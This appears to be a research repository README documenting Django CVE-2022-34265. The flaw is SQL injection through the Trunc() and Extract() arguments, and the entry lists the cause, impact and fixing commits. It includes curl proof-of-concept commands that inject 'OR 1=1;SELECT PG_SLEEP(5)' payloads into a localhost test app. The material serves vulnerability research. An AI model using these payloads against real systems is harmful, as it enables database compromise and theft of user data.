yoryio / django-vuln-research

Collection of Django CVEs with PoCs

Django Vulnerability Research

Vulnerabilities

CVE-2022-34265

• CWE-89: Improper Neutralization of Special Elements used in an SQL Command
• CVSS: 9.8 CRITICAL
• EPSS: 0.54%

Cause

• SQL Injection due to an Improper Neutralization of special elements used in the following functions with these arguments:
  • Trunc() - kind
  • Extract() - lookup_name

Impact

• Complete compromise of user information

Commit

• Refs CVE-2022-34265 -- Properly escaped Extract() and Trunc() parameters.
• Refs CVE-2022-34265 -- Unified DatabaseOperations.convert*_to_tz() hook names.

PoC

# Normal URL
curl "http://localhost:4131/extract/?lookup_name=year"
curl "http://localhost:4131/trunc/?kind=year"

# URL where the database instruction can be executed
curl "http://localhost:4131/extract/?lookup_name=year%27%20FROM%20start_datetime))%20OR%201=1;SELECT%20PG_SLEEP(5)--"
curl "http://localhost:4131/trunc/?kind=year%27,%20start_datetime))%20OR%201=1;SELECT%20PG_SLEEP(5)--"

• Discovered by Takuto Yoshikai (Aeye Security Lab)
• Please check the following GitHub Repository for more information: CVE-2022-34265

CVE-2020-13524

CVE-2020-7471

CVE-2019-19844

CVE-2014-0472

Resources

• Django - Archive of security issues